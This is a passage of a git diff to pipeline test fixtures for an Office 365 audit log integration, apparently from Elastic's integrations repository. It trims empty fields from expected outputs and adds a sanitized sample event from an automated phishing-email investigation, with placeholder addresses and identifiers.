newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json index f2c5ba9ee39..1ead6a16717 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json @@ -2,7 +2,6 @@ "expected": [ { "@timestamp": "2020-02-17T16:59:50.000Z", - "client": {}, "ecs": { "version": "8.11.0" }, @@ -69,13 +68,11 @@ "device": { "name": "Other" }, - "name": "Other", - "original": "" + "name": "Other" } }, { "@timestamp": "2020-02-17T16:59:50.000Z", - "client": {}, "ecs": { "version": "8.11.0" }, @@ -142,13 +139,11 @@ "device": { "name": "Other" }, - "name": "Other", - "original": "" + "name": "Other" } }, { "@timestamp": "2020-02-17T16:59:50.000Z", - "client": {}, "ecs": { "version": "8.11.0" }, @@ -215,13 +210,11 @@ "device": { "name": "Other" }, - "name": "Other", - "original": "" + "name": "Other" } }, { "@timestamp": "2020-02-17T16:59:50.000Z", - "client": {}, "ecs": { "version": "8.11.0" }, @@ -288,13 +281,11 @@ "device": { "name": "Other" }, - "name": "Other", - "original": "" + "name": "Other" } }, { "@timestamp": "2020-02-17T16:59:49.000Z", - "client": {}, "ecs": { "version": "8.11.0" }, @@ -361,8 +352,7 @@ "device": { "name": "Other" }, - "name": "Other", - "original": "" + "name": "Other" } }, { @@ -910,4 +900,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json index 0b650b3a50c..f3d49ae0efd 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json @@ -149,7 +149,6 @@ "ObjectId": "0e00d1cf-825a-4d78-98ff-8a8199357669", "ObjectType": "Lakehouse", "OperationId": "a84f7f73-xxxx-xxxx-8cf3-094f69c23756", - "OperationProperties": [], "RecordType": "20", "RequestId": "fcbbe282-xxx-xxxx-xxxx-dc1e6d9b090b", "ResultStatus": "InProgress", @@ -211,4 +210,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json new file mode 100644 index 00000000000..17e50a21a0b --- /dev/null +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json @@ -0,0 +1,248 @@ +{ + "events": [ + { + "event": { + "original": "{\"Status\":\"Pending Action\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Pending\",\"Entities\":[{\"$id\":\"2\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":56,\"Phish\":45,\"Malware\":1,\"Spam\":18,\"MaliciousUrl\":86},\"CountByProtectionStatus\":{\"Delivered\":0,\"Blocked\":19},\"CountByDeliveryLocation\":{\"Inbox\":0,\"Quarantine\":19,\"Forwarded\":1},\"Query\":\"( ((NormalizedUrl:\\\"https://test.local/-\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":86,\"IsVolumeAnamoly\":true,\"ClusterSourceIdentifier\":\"https://test.local/-\",\"ClusterSourceType\":\"UrlThreatIndicator\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"UrlThreatIdentifier\",\"Type\":\"mailCluster\",\"ClusterBy\":\"NormalizedUrl;ContentType\",\"ClusterByValue\":\"https://test.local/-;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"UrlInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.9Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"New\\\",\\\"DetectionTechnology\\\":\\\"URLList\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[],\\\"InvestigationIds\\\":[],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"1\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages containing malicious URL removed after delivery​\\\",\\\"Description\\\":\\\"Emails with malicious URL that were delivered and later removed -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"2\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"user@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"https://test.local/-\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"sender@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Intraorg\\\",\\\"DeliveryAction\\\":\\\"Blocked\\\",\\\"ThreatDetectionMethods\\\":[\\\"URLList\\\"],\\\"Language\\\":\\\"de\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\",\\\"Zap: [Success: Message moved to quarantine]\\\"],\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"None\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Url\\\":\\\"https://test.local/-\\\",\\\"Type\\\":\\\"url\\\",\\\"ClickCount\\\":0,\\\"EmailCount\\\":86,\\\"Urn\\\":\\\"urn:UrlEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":2,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":2},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":2},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":2,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"9\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":86,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":18,\\\"MaliciousUrl\\\":86},\\\"CountByProtectionStatus\\\":{\\\"Delivered\\\":0,\\\"Blocked\\\":70},\\\"CountByDeliveryLocation\\\":{\\\"Inbox\\\":0,\\\"Quarantine\\\":19,\\\"Forwarded\\\":1},\\\"Query\\\":\\\"( ((NormalizedUrl:\\\\\\\"https://test.local/-\\\\\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":86,\\\"IsVolumeAnamoly\\\":true,\\\"ClusterSourceIdentifier\\\":\\\"https://test.local/-\\\",\\\"ClusterSourceType\\\":\\\"UrlThreatIndicator\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"UrlThreatIdentifier\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"NormalizedUrl;ContentType\\\",\\\"ClusterByValue\\\":\\\"https://test.local/-;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Operation\":\"AirInvestigationData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"619\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\" }" + }, + "o365audit": { + "Status": "Pending Action", + "StartTimeUtc": "2023-12-31T23:59:59", + "Actions": [ + { + "$id": "1", + "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890", + "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "ActionApproval": "None", + "ActionType": "EmailRemediation", + "ActionStatus": "Pending", + "Entities": [ + { + "$id": "2", + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "CountByThreatType": { + "HighConfPhish": 56, + "Phish": 45, + "Malware": 1, + "Spam": 18, + "MaliciousUrl": 86 + }, + "CountByProtectionStatus": { + "Delivered": 0, + "Blocked": 19 + }, + "CountByDeliveryLocation": { + "Inbox": 0, + "Quarantine": 19, + "Forwarded": 1 + }, + "Query": "( ((NormalizedUrl:\"https://test.local/-\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryTime": "12/31/2023 11:59:59 PM", + "MailCount": 86, + "IsVolumeAnamoly": true, + "ClusterSourceIdentifier": "https://test.local/-", + "ClusterSourceType": "UrlThreatIndicator", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterGroup": "UrlThreatIdentifier", + "Type": "mailCluster", + "ClusterBy": "NormalizedUrl;ContentType", + "ClusterByValue": "https://test.local/-;1", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890", + "Source": "OATP", + "FirstSeen": "2023-12-31T23:59:59" + } + ], + "RelatedAlertIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "StartTimeUtc": "2023-12-31T23:59:59", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z", + "TimestampUtc": "2023-12-31T23:59:59", + "BulkName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "ResourceIdentifiers": [ + { + "$id": "3", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "PendingType": "User", + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox." + } + ], + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "InvestigationType": "UrlInvestigation", + "UserKey": "AirInvestigation", + "Data": "{\"Version\":\"3.0\",\"VendorName\":\"Microsoft\",\"ProviderName\":\"OATP\",\"AlertType\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"StartTimeUtc\":\"2023-12-31T23:59:59Z\",\"EndTimeUtc\":\"2023-12-31T23:59:59Z\",\"TimeGenerated\":\"2023-12-31T23:59:59.9Z\",\"ProcessingEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"Status\":\"New\",\"DetectionTechnology\":\"URLList\",\"Severity\":\"Informational\",\"ConfidenceLevel\":\"Unknown\",\"ConfidenceScore\":1,\"IsIncident\":false,\"ProviderAlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SystemAlertId\":null,\"CorrelationKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Investigations\":[],\"InvestigationIds\":[],\"Intent\":\"Probing\",\"ResourceIdentifiers\":[{\"$id\":\"1\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"AzureResourceId\":null,\"WorkspaceId\":null,\"WorkspaceSubscriptionId\":null,\"WorkspaceResourceGroup\":null,\"AgentId\":null,\"AlertDisplayName\":\"Email messages containing malicious URL removed after delivery​\",\"Description\":\"Emails with malicious URL that were delivered and later removed -V1.0.0.3\",\"ExtendedLinks\":[{\"Href\":\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Category\":null,\"Label\":\"alert\",\"Type\":\"webLink\"}],\"Metadata\":{\"CustomApps\":null,\"GenericInfo\":null},\"Entities\":[{\"$id\":\"2\",\"MailboxPrimaryAddress\":\"user@example.com\",\"Upn\":\"user@example.com\",\"AadId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RiskLevel\":\"None\",\"Type\":\"mailbox\",\"Urn\":\"urn:UserEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"3\",\"Recipient\":\"user@example.com\",\"Urls\":[\"https://test.local/-\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"sender@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"AntispamDirection\":\"Intraorg\",\"DeliveryAction\":\"Blocked\",\"ThreatDetectionMethods\":[\"URLList\"],\"Language\":\"de\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"Inbox\",\"PhishConfidenceLevel\":\"High\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\",\"Zap: [Success: Message moved to quarantine]\"],\"AuthDetails\":[{\"Name\":\"DKIM\",\"Value\":\"None\"},{\"Name\":\"DMARC\",\"Value\":\"None\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"4\",\"Url\":\"https://test.local/-\",\"Type\":\"url\",\"ClickCount\":0,\"EmailCount\":86,\"Urn\":\"urn:UrlEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"5\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,P2SenderDomain\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;P2SenderDomain;ContentType\",\"ClusterByValue\":\"5555555555;example.com;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 